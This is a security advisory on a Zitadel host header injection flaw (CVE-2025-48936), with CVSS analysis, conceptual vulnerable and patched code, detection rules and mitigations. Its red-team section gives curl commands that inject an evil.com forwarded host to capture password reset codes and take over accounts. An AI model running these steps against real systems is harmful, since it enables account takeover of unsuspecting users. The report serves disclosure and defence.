CVE-2025-48936

Executive Summary

CVE-2025-48936 is a host header injection vulnerability in Zitadel, an open-source identity infrastructure platform. The vulnerability allows an attacker to manipulate the Forwarded or X-Forwarded-Host HTTP headers to inject a malicious domain into the password reset confirmation link. If a user clicks the manipulated link, the secret reset code is captured by the attacker, enabling unauthorized password reset and account takeover. The attack is mitigated for accounts with Multi-Factor Authentication (MFA) or Passwordless authentication enabled. The vulnerability has been patched in versions 2.70.12, 2.71.10, and 3.2.2.

Supply Chain & Package Security

Zitadel is a Go-based application. The vulnerability is in the application's handling of HTTP headers, not in a dependency. However, organizations using Zitadel should verify the integrity of their deployment artifacts (Docker images, binaries) by checking checksums and signatures provided by the vendor. The Go module ecosystem is not directly affected, but the application itself is the vulnerable component.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
• Attack Vector (AV): Network (N) - The attack is executed over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - The attacker does not need any prior access.
• User Interaction (UI): Required (R) - The victim must click the malicious link.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): High (H) - The attacker can capture the secret reset code.
• Integrity (I): Low (L) - The attacker can reset the victim's password.
• Availability (A): None (N) - No impact on availability.

Threat Level: High. The attack is relatively simple to execute (header injection) and can lead to full account takeover. The requirement for user interaction (clicking a link) slightly reduces the risk, but phishing campaigns can easily exploit this.

Deep Dive & Mechanics

The vulnerability lies in how Zitadel constructs the password reset confirmation URL. When a user requests a password reset, Zitadel generates a unique secret code and sends an email containing a link like:

https://<host>/password/reset?code=<secret>

The <host> portion is derived from the Forwarded or X-Forwarded-Host HTTP header of the incoming request. If an attacker can inject a malicious value into this header (e.g., evil.com), the generated link becomes:

https://evil.com/password/reset?code=<secret>

When the victim clicks this link, their browser sends the request to evil.com, where the attacker can capture the code parameter. The attacker can then use this code to reset the victim's password on the legitimate Zitadel instance.

Key Points:

• The attack is only possible if the attacker can control the Forwarded or X-Forwarded-Host header. This typically requires the attacker to be in a position to intercept or modify HTTP requests (e.g., through a man-in-the-middle attack or by exploiting a misconfigured reverse proxy).
• The vulnerability is mitigated for accounts with MFA or Passwordless authentication because the password reset alone is not sufficient to gain access.
• The fix involves validating the Forwarded and X-Forwarded-Host headers against a whitelist of allowed domains or by using a trusted header (e.g., Host).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

func generateResetLink(r *http.Request, code string) string {
    host := r.Header.Get("X-Forwarded-Host")
    if host == "" {
        host = r.Header.Get("Forwarded")
    }
    if host == "" {
        host = r.Host
    }
    return fmt.Sprintf("https://%s/password/reset?code=%s", host, code)
}

Patched Code (Conceptual):

func generateResetLink(r *http.Request, code string) string {
    // Use a whitelist of allowed domains
    allowedHosts := []string{"zitadel.example.com", "auth.example.com"}
    host := r.Host
    if !contains(allowedHosts, host) {
        // Log and use a default host
        log.Warn("Invalid host header: %s", host)
        host = "zitadel.example.com"
    }
    return fmt.Sprintf("https://%s/password/reset?code=%s", host, code)
}

The patched version ignores the Forwarded and X-Forwarded-Host headers for link generation and instead uses the Host header, which is validated against a whitelist. Alternatively, the patched version may validate the forwarded headers against a trusted proxy list.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A Zitadel instance (vulnerable version).
• Ability to send HTTP requests to the Zitadel instance (e.g., through a reverse proxy or direct access).
• A domain you control (e.g., evil.com) to capture the reset code.

Steps:

1. Craft the malicious request: Send a password reset request for a target user with a manipulated X-Forwarded-Host header.

   curl -X POST "https://vulnerable-zitadel.com/api/v1/auth/password/reset" \
     -H "X-Forwarded-Host: evil.com" \
     -H "Content-Type: application/json" \
     -d '{"email": "victim@example.com"}'
   

2. Wait for the victim to click the link: The victim receives an email with a link to https://evil.com/password/reset?code=....
3. Capture the code: On your server (evil.com), log all incoming requests. The victim's browser will send a request to your server with the code parameter.
4. Reset the password: Use the captured code to reset the victim's password on the legitimate Zitadel instance.

   curl -X POST "https://vulnerable-zitadel.com/api/v1/auth/password/reset/confirm" \
     -H "Content-Type: application/json" \
     -d '{"code": "<captured_code>", "newPassword": "NewP@ssw0rd!"}'
   

5. Access the account: Log in with the new password.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual X-Forwarded-Host or Forwarded headers in password reset requests.
• Alert on password reset requests where the Host header does not match the expected domain.
• Monitor for password reset confirmations from unusual IP addresses or user agents.

Mitigation:

• Apply the patch immediately (upgrade to versions 2.70.12, 2.71.10, or 3.2.2).
• If patching is not possible, configure your reverse proxy to strip or validate the X-Forwarded-Host and Forwarded headers.
• Enable MFA or Passwordless authentication for all accounts.
• Implement rate limiting on password reset requests.
• Use a Web Application Firewall (WAF) to block requests with suspicious headers.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/v1/auth/password/reset with X-Forwarded-Host or Forwarded headers containing external domains.
  • HTTP requests to /api/v1/auth/password/reset/confirm from IP addresses not associated with the legitimate user.
• Log IOCs:
  • Log entries showing password reset requests with unexpected Host or X-Forwarded-Host values.
  • Multiple failed password reset attempts from the same IP.
• Email IOCs:
  • Password reset emails containing links to domains not owned by the organization.

Detection Engineering

YARA Rule

rule CVE_2025_48936_Zitadel_Host_Header_Injection {
    meta:
        description = "Detects attempts to exploit CVE-2025-48936 in Zitadel logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-48936"
    strings:
        $header1 = "X-Forwarded-Host"
        $header2 = "Forwarded"
        $path = "/password/reset"
    condition:
        any of ($header*) and $path
}

Sigma Rule

title: Zitadel Host Header Injection Attempt
id: 8f4c3b2a-1d5e-4f7a-9c8b-0e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to Zitadel password reset endpoints with suspicious X-Forwarded-Host or Forwarded headers.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-stem:
            - "/api/v1/auth/password/reset"
            - "/api/v1/auth/password/reset/confirm"
        cs-headers:
            - "X-Forwarded-Host"
            - "Forwarded"
    condition: selection
falsepositives:
    - Legitimate reverse proxy configurations
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48936 Zitadel Host Header Injection Attempt"; flow:to_server; http.uri; content:"/password/reset"; http.header; content:"X-Forwarded-Host"; nocase; http.header; content:"Forwarded"; nocase; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Zitadel to version 2.70.12, 2.71.10, 3.2.2, or later.
2. Workaround: If patching is not possible, configure your reverse proxy (e.g., Nginx, Apache) to strip or validate the X-Forwarded-Host and Forwarded headers. For example, in Nginx:

   proxy_set_header X-Forwarded-Host $host;
   proxy_set_header Forwarded "";
   

3. Enable MFA: Require Multi-Factor Authentication for all accounts to mitigate the impact of password reset attacks.

Long-Term Measures:

• Implement a Web Application Firewall (WAF) with rules to block host header injection attempts.
• Regularly review and update header validation logic in all applications.
• Conduct security audits and penetration testing focusing on header injection vulnerabilities.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at valters@example.com.